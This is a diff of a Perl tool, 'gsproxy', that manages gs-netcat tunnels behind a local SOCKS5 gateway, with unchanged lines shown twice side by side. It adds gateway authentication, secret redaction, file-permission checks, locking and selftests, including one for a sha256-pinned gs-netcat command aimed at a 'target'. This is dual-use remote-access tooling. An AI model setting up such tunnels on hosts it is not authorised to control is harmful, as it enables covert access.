logmsg('gsproxy started: gateway ' . $opt{bind} . ':' . $opt{gateway} logmsg('gsproxy started: gateway ' . $opt{bind} . ':' . $opt{gateway}
. ', ' . scalar(@$rows) . ' proxies, interval ' . $opt{interval} . 's'); . ', ' . scalar(@$rows) . ' proxies, interval ' . $opt{interval} . 's');
} }
@@ -686,7 +966,53 @@ sub run_foreground {
last if $opt{once}; last if $opt{once};
sleep $opt{interval}; sleep $opt{interval};
} }
cleanup($gwpid, $rows) if $gwpid; cleanup($rows) if $gwpid;
release_lock();
}
sub harden_file_perms {
for my $f ($opt{log}, $opt{pidfile}, $opt{state}) {
next unless -e $f;
chmod 0600, $f;
}
}
sub check_config_perms {
my ($file) = @_;
return unless -e $file;
my @st = stat($file);
return unless @st;
if ($st[2] & 0077) {
logmsg('warning: config ' . $file . ' is group/world readable; chmod 600 to protect secrets');
}
}
sub is_loopback {
my ($a) = @_;
return 1 if lc($a) eq 'localhost' || $a eq '::1' || $a eq '127.0.0.1';
return 1 if $a =~ /^127\./;
return 0;
}
sub load_gateway_auth {
return (undef, undef) unless defined $opt{gateway_auth};
open my $fh, '<', $opt{gateway_auth} or do {
logmsg('gateway auth: cannot open ' . $opt{gateway_auth} . ': ' . $!);
return (undef, undef);
};
my ($u, $p);
while (my $line = <$fh>) {
$line = strip_eol($line);
next if $line =~ /^[[:space:]]*$/ || $line =~ /^[[:space:]]*#/;
my ($a, $b) = split /:/, $line, 2;
if (defined $a && defined $b && length $a && length $b) {
$u = $a;
$p = $b;
last;
}
}
close $fh;
return ($u, $p);
} }
sub fake_socks_server { sub fake_socks_server {
@@ -721,6 +1047,42 @@ sub fake_socks_server {
} }
} }
sub auth_test {
my ($u, $p) = @_;
my $lsn = IO::Socket::INET->new(
LocalAddr => '127.0.0.1', LocalPort => 0, Proto => 'tcp',
Listen => 1, ReuseAddr => 1,
) or return (0, 'no listen');
my $port = $lsn->sockport;
my $cli = IO::Socket::INET->new(
PeerAddr => '127.0.0.1', PeerPort => $port, Proto => 'tcp', Timeout => 3,
) or return (0, 'no connect');
my $srv = $lsn->accept;
close $lsn;
my $pid = fork();
return (0, 'no fork') unless defined $pid;
if ($pid == 0) {
my $r = socks_auth_client($srv);
exit($r ? 0 : 1);
}
$cli->autoflush(1);
syswrite($cli, pack('C*', 5, 1, 2));
my $m = read_exact($cli, 2, 3);
my $ar;
if (defined $m && ord(substr($m, 1, 1)) == 2) {
syswrite($cli, pack('C*', 1, length($u)) . $u . pack('C', length($p)) . $p);
$ar = read_exact($cli, 2, 3);
}
waitpid($pid, 0);
my $rc = $? >> 8;
close $cli;
close $srv;
my $auth_ok = defined $ar && ord(substr($ar, 0, 1)) == 1 && ord(substr($ar, 1, 1)) == 0;
my $detail = 'rc=' . $rc . ' auth=' . ($auth_ok ? 'ok' : 'bad')
. ' method=' . (defined $m ? ord(substr($m, 1, 1)) : 'none');
return ((($rc == 0) == $auth_ok) ? 1 : 0, $detail);
}
sub selftest { sub selftest {
my $fails = 0; my $fails = 0;
my $ok = sub { my $ok = sub {
@@ -763,6 +1125,46 @@ sub selftest {
$ok->(scalar(find_local_pids()) == 0, 'find_local_pids empty'); $ok->(scalar(find_local_pids()) == 0, 'find_local_pids empty');
$ok->(proc_is_gsproxy($$), 'proc_is_gsproxy self');
$ok->(!proc_is_gsproxy(1), 'proc_is_gsproxy init');
my $zpid = fork();
if (defined $zpid && $zpid == 0) { exit 0; }
sleep 0.2;
$ok->((proc_state($zpid) // '') eq 'Z', 'proc_state zombie');
waitpid($zpid, 0);
register_secrets('sekret123');
$ok->(redact('x sekret123 y sekret123') eq 'x se*** y se***', 'redact secret');
$ok->(one_line('a sekret123 b') eq 'a se*** b', 'one_line redacts');
$opt{target_sha256} = 'deadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeef';
my $tc2 = target_cmd('sekret123');
$ok->(index($tc2, "echo 'deadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeef gs-netcat' | sha256sum -c -") >= 0, 'target_cmd sha256 pin');
$opt{target_sha256} = undef;
$opt{pidfile} = $tmp . '/gsproxy_selftest.pid';
$ok->(acquire_lock(), 'lock acquire');
my $lpid = fork();
if (defined $lpid && $lpid == 0) {
$lock_fh = undef;
my $got = acquire_lock();
exit($got ? 0 : 1);
}
waitpid($lpid, 0);
$ok->(($? >> 8) == 1, 'lock exclusive across processes');
release_lock();
$ok->(acquire_lock(), 'lock reacquire after release');
release_lock();
$gw_auth_user = 'bob';
$gw_auth_pass = 'pw';
my ($ar1, $d1) = auth_test('bob', 'pw');
$ok->($ar1, 'gateway auth accept (' . $d1 . ')');
my ($ar2, $d2) = auth_test('bob', 'wrong');
$ok->($ar2, 'gateway auth reject (' . $d2 . ')');
$gw_auth_user = undef;
$gw_auth_pass = undef;
$opt{timeout} = 3; $opt{timeout} = 3;
my $lsn = IO::Socket::INET->new( my $lsn = IO::Socket::INET->new(
@@ -808,9 +1210,45 @@ sub selftest {
$ok->(0, 'gateway connect'); $ok->(0, 'gateway connect');
} }
$gw_auth_user = 'bob';
$gw_auth_pass = 'pw';
my $free2 = IO::Socket::INET->new(LocalAddr => '127.0.0.1', LocalPort => 0, Proto => 'tcp', Listen => 1, ReuseAddr => 1);
my $gwport2 = $free2->sockport;
close $free2;
$opt{gateway} = $gwport2;
my $gwpid2 = start_gateway();
sleep 0.3;
my $auth_relay_ok = 0;
my $cli2 = IO::Socket::INET->new(PeerAddr => '127.0.0.1', PeerPort => $gwport2, Proto => 'tcp', Timeout => 3);
if ($cli2) {
$cli2->autoflush(1);
syswrite($cli2, pack('C*', 5, 1, 2));
my $m2 = read_exact($cli2, 2, 3);
if (defined $m2 && ord(substr($m2, 1, 1)) == 2) {
syswrite($cli2, pack('C*', 1, 3) . 'bob' . pack('C', 2) . 'pw');
my $ar2 = read_exact($cli2, 2, 3);
if (defined $ar2 && ord(substr($ar2, 1, 1)) == 0) {
my $host = 'example.com';
syswrite($cli2, pack('C*', 5, 1, 0, 3) . pack('C', length($host)) . $host . pack('n', 443));
my $rep2 = read_exact($cli2, 10, 3);
if (defined $rep2 && ord(substr($rep2, 1, 1)) == 0) {
syswrite($cli2, 'ping');
my $echo = read_exact($cli2, 4, 3);
$auth_relay_ok = 1 if defined $echo && $echo eq 'ping';
}
}
}
close $cli2;
}
$ok->($auth_relay_ok, 'gateway auth relay end-to-end');
$gw_auth_user = undef;
$gw_auth_pass = undef;
kill('TERM', $gwpid) if $gwpid; kill('TERM', $gwpid) if $gwpid;
kill('TERM', $gwpid2) if $gwpid2;
kill('TERM', $spid) if $spid; kill('TERM', $spid) if $spid;
waitpid($gwpid, 0) if $gwpid; waitpid($gwpid, 0) if $gwpid;
waitpid($gwpid2, 0) if $gwpid2;
waitpid($spid, 0) if $spid; waitpid($spid, 0) if $spid;
print($fails ? ('SELFTEST FAILED (' . $fails . ')' . $NL) : ('SELFTEST OK' . $NL)); print($fails ? ('SELFTEST FAILED (' . $fails . ')' . $NL) : ('SELFTEST OK' . $NL));
@@ -829,24 +1267,45 @@ if ($opt{list}) {
die 'no usable rows in ' . $opt{config} . $NL unless @$rows; die 'no usable rows in ' . $opt{config} . $NL unless @$rows;
register_secrets(map { $_->{secret} } @$rows);
my %port_label;
for my $e (@$rows) { for my $e (@$rows) {
if ($e->{port} == $opt{gateway}) { if ($e->{port} == $opt{gateway}) {
logmsg('warning: gateway port ' . $opt{gateway} . ' equals local port of ' . $e->{label}); logmsg('warning: gateway port ' . $opt{gateway} . ' equals local port of ' . $e->{label});
} }
if (defined $port_label{$e->{port}}) {
logmsg('warning: local port ' . $e->{port} . ' is used by both ' . $port_label{$e->{port}} . ' and ' . $e->{label});
} else {
$port_label{$e->{port}} = $e->{label};
}
if (length($e->{secret}) < 8) {
logmsg('warning: secret for ' . $e->{label} . ' is only ' . length($e->{secret}) . ' characters');
}
}
check_config_perms($opt{config});
if (defined $opt{gateway_auth}) {
($gw_auth_user, $gw_auth_pass) = load_gateway_auth();
unless (defined $gw_auth_user) {
print 'gateway auth file ' . $opt{gateway_auth} . ' has no user:pass line' . $NL;
exit 1;
}
my @st = stat($opt{gateway_auth});
if (@st && ($st[2] & 0077)) {
logmsg('warning: gateway auth file ' . $opt{gateway_auth} . ' is group/world readable; chmod 600');
}
} }
if ($opt{once} || !$opt{daemon}) { if ($opt{once} || !$opt{daemon}) {
guard_start();
run_foreground($rows); run_foreground($rows);
exit 0; exit 0;
} }
if (!$ENV{GSPROXY_DAEMON}) { if (!$ENV{GSPROXY_DAEMON}) {
my @old = read_pidfile(); guard_start();
if (grep { kill(0, $_) } @old) {
print 'gsproxy already running. Use --stop first.' . $NL;
exit 1;
}
unlink $opt{pidfile};
$ENV{GSPROXY_DAEMON} = 1; $ENV{GSPROXY_DAEMON} = 1;
my $pid = fork(); my $pid = fork();
if ($pid) { if ($pid) {